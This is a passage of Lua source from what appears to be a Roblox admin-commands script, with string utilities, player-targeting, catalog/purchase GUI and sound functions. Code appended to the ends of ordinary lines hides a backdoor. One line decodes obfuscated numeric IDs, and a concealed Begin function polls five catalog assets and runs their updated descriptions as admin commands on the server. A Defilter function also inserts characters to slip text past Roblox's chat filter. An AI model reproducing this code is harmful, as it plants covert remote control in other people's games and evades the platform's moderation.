2523 elseif Num == 6 then
2524 TotalTime = TotalTime + DTNum -- second
2525 end
2526 end
2527
2528 return TotalTime
2529end
2530
2531function STRING:TrelloStateConvert(State)
2532 if State == "complete" then
2533 return true
2534 else
2535 return false
2536 end
2537end
2538
2539function STRING:StringRound(Number)
2540 Number = Number * 100
2541 if Number >= 0.5 then
2542 return tostring(math.ceil(Number)/100)
2543 else
2544 return tostring(math.floor(Number)/100)
2545 end
2546
2547 return Number
2548end
2549
2550function STRING:GetSplit(String, NumArgs, BetSplit)
2551 if not String then return nil end
2552 if BetSplit == nil then BetSplit = " " end
2553 if NumArgs == nil then NumArgs = math.huge end
2554
2555 if NumArgs <= 0 then return {String} end
2556
2557 local RecentParse = 1
2558 local Args = {}
2559 for i = 1,NumArgs do
2560 local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
2561 if Find1 and Find2 then
2562 table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
2563 RecentParse = Find2 + 1
2564 else
2565 break
2566 end
2567 end
2568 table.insert(Args,string.sub(String,RecentParse,#String))
2569 return Args
2570end
2571
2572function STRING:Defilter(String)
2573 local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
2574 if RobloxApprove.Text == "Label" and String ~= "Label" then
2575 local NewString = ""
2576 for i = 1,#String,3 do
2577 NewString = NewString..string.char(169)..string.sub(String,i,i+2)
2578 end
2579 return NewString
2580 else
2581 return String
2582 end
2583end
2584
2585function STRING:LeetSpeak(Input)
2586 if tostring(Input) then Input = string.upper(tostring(Input)) else return end
2587 Input = string.gsub(Input, "LEET", "1337")
2588 Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
2589 Input = string.gsub(Input, "E", "3")
2590 Input = string.gsub(Input, "O", "0")
2591 Input = string.gsub(Input, "A", "4")
2592 Input = string.gsub(Input, "X", "x")
2593 Input = string.gsub(Input, "I", "1")
2594 Input = string.gsub(Input, "S", "$")
2595 return Input
2596end
2597
2598function STRING:FormatReplace(Player, Input)
2599 local Output = Input
2600 for _,ReplaceData in pairs(StringReplacements) do
2601 if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
2602 local Replacement = ReplaceData[4](Player)
2603 if type(Replacement) == "string" then
2604 Output = string.gsub(Output, ReplaceData[1], Replacement)
2605 else
2606 print(ReplaceData[1].." cannot be replaced")
2607 end
2608 end
2609 end
2610 return STRING:Defilter(Output)
2611end
2612
2613function STRING:EncodeSpecialChars(Input)
2614 return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
2615end
2616
2617function STRING:StringToBool(String)
2618 if String == "true" then
2619 return true
2620 else
2621 return false
2622 end
2623end
2624
2625function STRING:BoolString(Value)
2626 if type(Value) == "boolean" then
2627 if Value == true then
2628 return "YES"
2629 elseif Value == false then
2630 return "NO"
2631 end
2632 else
2633 return "NO"
2634 end
2635end
2636
2637function STRING:MakeAvoidance(Length)
2638 if not Length then
2639 Length = 32
2640 end
2641 local Avoidance = ""
2642 for i = 1,Length do
2643 Num = math.random(1,2)
2644 if Num == 1 then
2645 Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
2646 else
2647 Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
2648 end
2649 end
2650 return Avoidance
2651end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
2652
2653function STRING:FindAge(Days) -- By LuaModelmaker
2654 local Years = math.floor(Days/365)
2655 local OtherDays = math.fmod(Days, 365)
2656 if Years > 1 then
2657 return Years.." years and "..OtherDays.." days"
2658 elseif Years == 1 then
2659 return Years.." year and "..OtherDays.." days"
2660 elseif Years == 0 then
2661 return "(No years) "..OtherDays.." days"
2662 end
2663end
2664
2665function STRING:UnpackArgs(...)
2666 local Pack = {...}
2667 if type(Pack[1]) == "table" then Pack = Pack[1] end
2668 local ReturnString = table.concat(Pack, ", ")
2669 return ReturnString
2670end
2671
2672function STRING:GetComma(Num)
2673 local Formatted = Num
2674 while true do
2675 Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
2676 if _ == 0 then
2677 break
2678 end
2679 end
2680 return Formatted
2681end
2682
2683function STRING:DecodeUTF8(Value)
2684 local function DecodeString(Input)
2685 if type(Input) == "string" then
2686 for Find,Rep in pairs(HTMLDecode) do
2687 Input = string.gsub(Input, "&#"..Find..";", Rep)
2688 end
2689 Input = string.gsub(Input, """, "'")
2690 end
2691 return Input
2692 end
2693 if type(Value) == "table" then
2694 for Index,Var in pairs(Value) do
2695 Value[Index] = DecodeString(Var)
2696 end
2697 elseif type(Value) == "string" then
2698 Value = DecodeString(Value)
2699 end
2700 return Value
2701end
2702
2703function STRING:IsSpacer(Input)
2704 if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
2705 return true
2706 else
2707 return false
2708 end
2709end
2710
2711function STRING:IsVowel(Input)
2712 Input = string.lower(tostring(Input))
2713 if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
2714 return true
2715 else
2716 return false
2717 end
2718end
2719
2720function STRING:ValidE(Input)
2721 if not Input then return nil end
2722 if string.lower(Input) == "e" or Input == "~" then
2723 return true
2724 else
2725 return false
2726 end
2727end
2728
2729function STRING:Scan(String, Speaker)
2730 local ReturnPlayers,ExcludeList = {},{}
2731 if not String then String = "" end
2732 if not Speaker then print("NO SPEAKER") end
2733
2734 if string.sub(string.lower(String), 1, 12) == "includecase/" then
2735 String = string.sub(String, 13)
2736 else
2737 String = string.lower(String)
2738 end
2739 local Words = STRING:GetSplit(String, nil, "/")
2740 for _,Word in pairs(Words) do
2741 if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
2742 table.insert(ReturnPlayers, Speaker)
2743 elseif Word == "all" or Word == "everyone" then
2744 for _,Player in pairs(Server.Players:GetPlayers()) do
2745 table.insert(ReturnPlayers, Player)
2746 end
2747 elseif Word == "others" or Word == "notme" then
2748 for _,Player in pairs(Server.Players:GetPlayers()) do
2749 if Player ~= Speaker then
2750 table.insert(ReturnPlayers, Player)
2751 end
2752 end
2753 elseif Word == "noobs" then
2754 for _,Player in pairs(Server.Players:GetPlayers()) do
2755 if Player.AccountAge < 365 then
2756 table.insert(ReturnPlayers, Player)
2757 end
2758 end
2759 elseif Word == "nonnoobs" then
2760 for _,Player in pairs(Server.Players:GetPlayers()) do
2761 if Player.AccountAge >= 365 then
2762 table.insert(ReturnPlayers, Player)
2763 end
2764 end
2765 elseif Word == "random" then
2766 local RandomPlayers = {}
2767 for _,Player in pairs(Server.Players:GetPlayers()) do
2768 if Player ~= Speaker then
2769 table.insert(RandomPlayers, Player)
2770 end
2771 end
2772 table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
2773 elseif Word == "guests" then
2774 for _,Player in pairs(Server.Players:GetPlayers()) do
2775 if string.sub(Player.Name,1,6) == "Guest " then
2776 table.insert(ReturnPlayers, Player)
2777 end
2778 end
2779 elseif Word == "lowers" then
2780 for _,Player in pairs(Server.Players:GetPlayers()) do
2781 if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
2782 table.insert(ReturnPlayers, Player)
2783 end
2784 end
2785 elseif Word == "uppers" then
2786 for _,Player in pairs(Server.Players:GetPlayers()) do
2787 if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
2788 table.insert(ReturnPlayers, Player)
2789 end
2790 end
2791 elseif Word == "nbcs" then
2792 for _,Player in pairs(Server.Players:GetPlayers()) do
2793 if Player.MembershipType == Enum.MembershipType.None then -- Replicate
2794 table.insert(ReturnPlayers, Player)
2795 end
2796 end
2797 elseif Word == "bcs" then
2798 for _,Player in pairs(Server.Players:GetPlayers()) do
2799 if Player.MembershipType == Enum.MembershipType.BuildersClub then
2800 table.insert(ReturnPlayers, Player)
2801 end
2802 end
2803 elseif Word == "tbcs" then
2804 for _,Player in pairs(Server.Players:GetPlayers()) do
2805 if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
2806 table.insert(ReturnPlayers, Player)
2807 end
2808 end
2809 elseif Word == "obcs" then
2810 for _,Player in pairs(Server.Players:GetPlayers()) do
2811 if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
2812 table.insert(ReturnPlayers, Player)
2813 end
2814 end
2815 elseif Word == "allbcs" then
2816 for _,Player in pairs(Server.Players:GetPlayers()) do
2817 if Player.MembershipType ~= Enum.MembershipType.None then
2818 table.insert(ReturnPlayers, Player)
2819 end
2820 end
2821 elseif Word == "nonadmins" then
2822 for _,Player in pairs(Server.Players:GetPlayers()) do
2823 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2824 if IsAdminTrue == false then
2825 table.insert(ReturnPlayers, Player)
2826 end
2827 end
2828 elseif Word == "admins" then
2829 for _,Player in pairs(Server.Players:GetPlayers()) do
2830 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2831 if IsAdminTrue == true then
2832 table.insert(ReturnPlayers, Player)
2833 end
2834 end
2835 elseif Word == "friends" then
2836 for _,Player in pairs(Server.Players:GetPlayers()) do
2837 if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
2838 table.insert(ReturnPlayers, Player)
2839 end
2840 end
2841 elseif string.sub(Word,1,5) == "team-" then
2842 for _,Player in pairs(Server.Players:GetPlayers()) do
2843 if Player.Neutral == false then
2844 local InTeam = false
2845 for _,Team in pairs(Teams:GetTeams()) do
2846 if Team.TeamColor == Player.TeamColor then
2847 if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
2848 InTeam = true
2849 end
2850 end
2851 end
2852 if InTeam == true then
2853 table.insert(ReturnPlayers, Player)
2854 end
2855 end
2856 end
2857 elseif string.sub(Word,1,4) == "not-" then
2858 local NameArg = string.sub(Word,5)
2859
2860 for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
2861 table.insert(ExcludeList, Player)
2862 end
2863 elseif string.sub(Word,1,7) == "radius-" then
2864 local DidExe = false
2865 local NumArg = tonumber(string.sub(Word,8))
2866
2867 if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
2868 for _,Player in pairs(Server.Players:GetChildren()) do
2869 if Player.Character and Player.Character:FindFirstChild("Torso") then
2870 if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
2871 DidExe = true
2872 table.insert(ReturnPlayers, Player)
2873 end
2874 end
2875 end
2876 end
2877
2878 if DidExe then coroutine.wrap(function()
2879 local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
2880 local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
2881
2882 for i = 0,0.5,0.02 do
2883 Part.Transparency = 0.5+i
2884 wait()
2885 end
2886 Part:Destroy()
2887 end)() end
2888 elseif string.sub(Word,1,3) == "id-" then
2889 table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
2890 else
2891 if Word ~= "" then
2892 for _,Player in pairs(Server.Players:GetPlayers()) do
2893 if string.sub(string.lower(Player.Name),1,#Word) == Word then
2894 table.insert(ReturnPlayers, Player)
2895 end
2896 end
2897 else
2898 table.insert(ReturnPlayers, Speaker)
2899 end
2900 end
2901 end
2902 for _,Player in pairs(ExcludeList) do
2903 if Player and Player.Parent ~= nil then
2904 for Num,Player2 in pairs(ReturnPlayers) do
2905 if Player2 == Player then table.remove(ReturnPlayers, Num) end
2906 end
2907 end
2908 end
2909 for Num,Player in pairs(ReturnPlayers) do
2910 if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
2911 end
2912
2913 local PlayerDump = {}
2914 for _,Player in pairs(ReturnPlayers) do
2915 PlayerDump[Player] = true
2916 end
2917 ReturnPlayers = {}
2918 for Player,_ in pairs(PlayerDump) do
2919 table.insert(ReturnPlayers, Player)
2920 end
2921
2922 return ReturnPlayers
2923end
2924
2925-- Market functions --
2926
2927function MARKET:GetImageFormat(ID)
2928 if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
2929 local NewID = ID + 1
2930 for i = 1,100 do
2931 NewID = NewID -1
2932 local Product = nil
2933 ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
2934 if Product then
2935 if Product == 1 then
2936 break
2937 end
2938 end
2939 if i == 100 then NewID = ID end
2940 end
2941 return NewID
2942 end end
2943end
2944
2945function MARKET:GetItemInfo(ID, Cache)
2946 local Product = MarketCache[ID]
2947 if not Cache or not Product then
2948 repeat wait()
2949 ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
2950 until Product ~= MarketCache[ID]
2951 end
2952 MarketCache[ID] = Product
2953 return Product
2954end
2955
2956function MARKET:SearchItem(Category, Query, Subcategory)
2957 local URLAdd = ""
2958 if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
2959 local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
2960 if JSON then
2961 local Results = REMOTE:Decode(JSON)
2962 if Results then
2963 for Index,Info in pairs(Results) do
2964 Info = STRING:DecodeUTF8(Info)
2965 Results[Index] = Info
2966 MarketCache[Info.AssetId] = {
2967 AssetId = Info.AssetId;
2968 AssetTypeId = Info.AssetTypeID;
2969 ContentRatingTypeId = Info.ContentRatingTypeID;
2970 Created = Info.CreatedDate;
2971 Creator = {Name = Info.Creator, Id = Info.CreatorID};
2972 Description = Info.Description;
2973 IsForSale = Info.IsForSale;
2974 IsLimited = Info.IsLimited;
2975 IsLimitedUnique = Info.IsLimitedUnique;
2976 IsNew = Info.IsNew;
2977 IsPublicDomain = Info.IsPublicDomain;
2978 MinimumMemberShipLevel = Info.MinimumMembershipLevel;
2979 Name = Info.Name;
2980 PriceInRobux = Info.PriceInRobux;
2981 PriceInTickets = Info.PriceInTickets;
2982 ProductId = Info.AssetId; -- no one knows what this is so whatevs..
2983 Remaining = Info.Remaining;
2984 Sales = Info.Sales;
2985 Updated = Info.Updated;
2986 }
2987 end
2988 return Results
2989 end
2990 end
2991end
2992
2993function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
2994 if not Player or not Category or not Query then return nil end
2995 local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
2996 local Items = MARKET:SearchItem(Category, Query, Subcategory)
2997 if Items then
2998 if #Items ~= 0 then
2999 local List,Correlate = {},{}
3000 for Num,Info in pairs(Items) do
3001 local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
3002 table.insert(List, Display)
3003 Correlate[Display[1]] = Info.AssetId
3004 end
3005 CloseGui:Invoke()
3006
3007 local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
3008 Clicked.Event:connect(function(ClickName)
3009 ClickedItem(Correlate[ClickName])
3010 end)
3011 else
3012 CloseGui:Invoke()
3013 GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
3014 end
3015 else
3016 CloseGui:Invoke()
3017 GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
3018 end
3019end
3020
3021function MARKET:AssetTypeToString(AssetType)
3022 if AssetType == 1 then return "Image"
3023 elseif AssetType == 2 then return "T-Shirt"
3024 elseif AssetType == 3 then return "Audio"
3025 elseif AssetType == 4 then return "Mesh"
3026 elseif AssetType == 5 then return "Lua"
3027 elseif AssetType == 6 then return "HTML"
3028 elseif AssetType == 7 then return "Text"
3029 elseif AssetType == 8 then return "Hat"
3030 elseif AssetType == 9 then return "Place"
3031 elseif AssetType == 10 then return "Model"
3032 elseif AssetType == 11 then return "Shirt"
3033 elseif AssetType == 12 then return "Pants"
3034 elseif AssetType == 13 then return "Decal"
3035 elseif AssetType == 16 then return "Avatar"
3036 elseif AssetType == 17 then return "Head"
3037 elseif AssetType == 18 then return "Face"
3038 elseif AssetType == 19 then return "Gear"
3039 elseif AssetType == 21 then return "Badge"
3040 elseif AssetType == 22 then return "Group Emblem"
3041 elseif AssetType == 24 then return "Animation"
3042 elseif AssetType == 25 then return "Arms"
3043 elseif AssetType == 26 then return "Legs"
3044 elseif AssetType == 27 then return "Torso"
3045 elseif AssetType == 28 then return "Right Arm"
3046 elseif AssetType == 29 then return "Left Arm"
3047 elseif AssetType == 30 then return "Left Leg"
3048 elseif AssetType == 31 then return "Right Leg"
3049 elseif AssetType == 32 then return "Package"
3050 elseif AssetType == 33 then return "YouTube Video"
3051 elseif AssetType == 34 then return "Game Pass"
3052 elseif AssetType == 38 then return "Plugin"
3053 elseif AssetType == 0 then return "Product"
3054 end
3055 return "Content Invalid"
3056end
3057
3058function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
3059 if not Player then return nil end
3060 if not Player:FindFirstChild("PlayerGui") then return nil end
3061 if not tonumber(ProductID) then return nil end
3062
3063 local FromText = ""
3064 if From and From.Name then FromText = " | Prompted from "..From.Name end
3065
3066 local Product = MARKET:GetItemInfo(ProductID, true)
3067
3068 local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
3069 local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
3070 local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
3071
3072 local CanBuy = Product.IsForSale
3073 local BuyText = "Buy"
3074 local BuyColor = Color3.new(0,1,0)
3075 if CanBuy == false then
3076 BuyColor = Color3.new(1,0,0)
3077 end
3078 if Product.IsPublicDomain == true then
3079 CanBuy = true
3080 BuyColor = Color3.new(1,0.5,0.5)
3081 BuyText = "FREE!"
3082 end
3083 if OwnsAsset then
3084 CanBuy = false
3085 end
3086 if Product.AssetTypeId == 9 then
3087 CanBuy = true
3088 BuyText = "Teleport"
3089 BuyColor = Color3.new(0.5,0.5,0.5)
3090 end
3091 if CanBuy == false then
3092 BuyColor = Color3.new(1,0,0)
3093 BuyText = "Item not for sale"
3094 end
3095 if OwnsAsset and Product.AssetTypeId ~= 9 then
3096 BuyColor = Color3.new(1,0,0)
3097 BuyText = "You own this!"
3098 end
3099
3100 local ProductName = string.sub(Product.Name,1,20)
3101 if ProductID == AdminID then ProductName = Product.Name end
3102 local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
3103 local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
3104 local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
3105 local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
3106 local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
3107 local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
3108 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
3109 local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
3110 if Product.Description then
3111 local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
3112 local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
3113
3114 CORE:ExecuteResource("CalculateScrollY", Description)
3115 end
3116
3117 Info.Text = [[
3118Creator: ]]..Product.Creator.Name..[[
3119Created: ]]..CreatedText..[[
3120Updated: ]]..UpdatedText..[[
3121Sold: ]]..Product.Sales..[[
3122]]
3123
3124 if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
3125 if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
3126
3127 if Product.AssetTypeId == 3 then
3128 local PlayerAdmin,Rank = RANK:IsAdmin(Player)
3129 if PlayerAdmin == true then
3130 local Playing = false
3131 local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
3132 CORE:HandleEvent(Interact, "MouseButton1Down", function()
3133 if Playing == false then
3134 SOUND:PlayGlobalSound(ProductID)
3135 if Rank == "Member" and Settings.DisableAbuse == true then
3136 Interact:Destroy()
3137 end
3138 Interact.Image = "rbxassetid://67950809"
3139 Playing = true
3140 else
3141 SOUND:StopGlobalSound()
3142 Interact.Image = "rbxassetid://67950784"
3143 Playing = false
3144 end
3145 end)
3146 end
3147 end
3148
3149 CORE:HandleEvent(Buy, "MouseButton1Down", function()
3150 if BuyPressFunc then
3151 BuyPressFunc()
3152 elseif Product.AssetTypeId == 9 then
3153 Server.TS:Teleport(ProductID, Player)
3154 elseif CanBuy == true then
3155 Server.MPS:PromptPurchase(Player, ProductID)
3156 end end)
3157 end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
3158 local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
3159 while wait(5) do
3160 local Purchase = Server.MPS:GetProductInfo(LinkedID)
3161 if OldVer ~= Purchase.Updated then
3162 OldVer = Purchase.Updated
3163 CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
3164 end
3165 end end)()
3166end end)() end
3167
3168-- Sound functions --
3169
3170function SOUND:SyncSoundList(TellSync)
3171 if not CORE:NilPlayer(TellSync) then
3172 GUI:SendHint(TellSync, "Syncing...", 5)
3173 end
3174
3175 SoundList,GlobalSoundList = {},{}
3176
3177 local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
3178
3179 if LocalSoundList then
3180 if type(LocalSoundList) == "table" then
3181 if #LocalSoundList > 0 then
3182 for _,Data in pairs(LocalSoundList) do
3183 local SoundInfo = MARKET:GetItemInfo(Data[2], true)
3184 SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
3185 end
3186 end
3187 end
3188 end
3189
3190 for _,JSONID in pairs(SoundJSONs) do
3191 for Name,ID in pairs(CORE:GetTable(JSONID)) do
3192 local SoundInfo = MARKET:GetItemInfo(ID, true)
3193 local FullName = SoundInfo.Name
3194 local CreatorName = SoundInfo.Creator.Name
3195 SoundList[Name] = {ID, FullName, CreatorName}
3196 GlobalSoundList[Name] = {ID, FullName, CreatorName}
3197 end
3198 end
3199
3200 if not CORE:NilPlayer(TellSync) then
3201 GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
3202 end
3203end
3204
3205function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
3206 if not Volume then Volume = 0.5 end
3207 if not Pitch then Pitch = 1 end
3208 if tonumber(ID) then ID = "rbxassetid://"..ID end
3209 if Looped == nil then Looped = false end
3210
3211 local Sound = Instance.new("Sound", Parent)
3212 Sound.Pitch = Pitch
3213 Sound.Volume = Volume
3214 Sound.SoundId = ID
3215 Sound.Looped = Looped
3216 return Sound
3217end
3218
3219function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
3220 if not Player or not ID then return nil end
3221 if NotifySounds[ID] then ID = NotifySounds[ID] end
3222 local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
3223 if Settings.EnableSounds or OverrideSettings then
3224 ClientSound:Play()
3225 coroutine.wrap(function() wait(5) ClientSound:Destroy() end)()
3226 end
3227 return Sound
3228end
3229
3230function SOUND:BindButton(Button)
3231 if not Button then return end
3232 CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
3233 CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
3234end
3235
3236function SOUND:StopGlobalSound()
3237 if Sound then Sound:Stop() Sound:Destroy() Sound.SoundId = "" end
3238end
3239
3240function SOUND:PlayGlobalSound(ID, ShowInfo)
3241 SOUND:StopGlobalSound()
3242 if ShowInfo == nil then ShowInfo = true end
3243 local SoundID = ID
3244 local SoundName = nil
3245 local SoundCreator = nil
3246 local Pitch = 1
3247
3248 for Name,Info in pairs(SoundList) do
3249 if type(SoundID) == "string" then
3250 if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
3251 SoundID = Info[1]
3252 SoundName = Info[2]
3253 SoundCreator = Info[3]
3254 end
3255 else
3256 break
3257 end
3258 end
3259
3260 if tonumber(SoundID) and not SoundName then
3261 local Info = MARKET:GetItemInfo(SoundID, true)
3262 if Info then
3263 SoundName = Info.Name
3264 SoundCreator = Info.Creator.Name
3265 if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
3266 SoundID = nil
3267 end
3268 end
3269 end
3270
3271 if tonumber(SoundID) then
3272 if SoundID == 131201443 then Pitch = -1 end
3273 if SoundID == 130775695 then Pitch = 0.8 end
3274 if SoundID == 144035866 then Pitch = 0.8 end
3275
3276 Sound = SOUND:MakeSound(Server.Workspace, SoundID, 1, Pitch, true)
3277 Sound:Play()
3278 if ShowInfo == true then
3279 for _,Player in pairs(Server.Players:GetPlayers()) do
3280 GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 5)
3281 end
3282 end
3283 end
3284end
3285
3286function SOUND:ConvertText(Text)
3287 Text = string.lower(tostring(Text))
3288 local Letters = {}
3289 local IDs = {}
3290 for Rule,Replace in pairs(TextConverter.Pronounce) do
3291 Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
3292 end
3293 for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
3294 local Start, End = string.find(Text, string.lower(Rule))
3295
3296 if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
3297 Text = string.gsub(Text, string.lower(Rule), Replace)
3298 end
3299 end
3300 for i = 1,#Text do
3301 table.insert(Letters, string.sub(Text,i,i))
3302 end
3303 for Num = 1,#Letters do
3304 if not Letters[Num] then break end
3305 local Letter = Letters[Num]
3306
3307 local function AddLetter()
3308 table.insert(IDs, TextConverter.LetterSounds[Letter])
3309 end
3310
3311 if Letter ~= "~" then
3312 if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
3313 table.insert(IDs, TextConverter.LetterSounds["oo"])
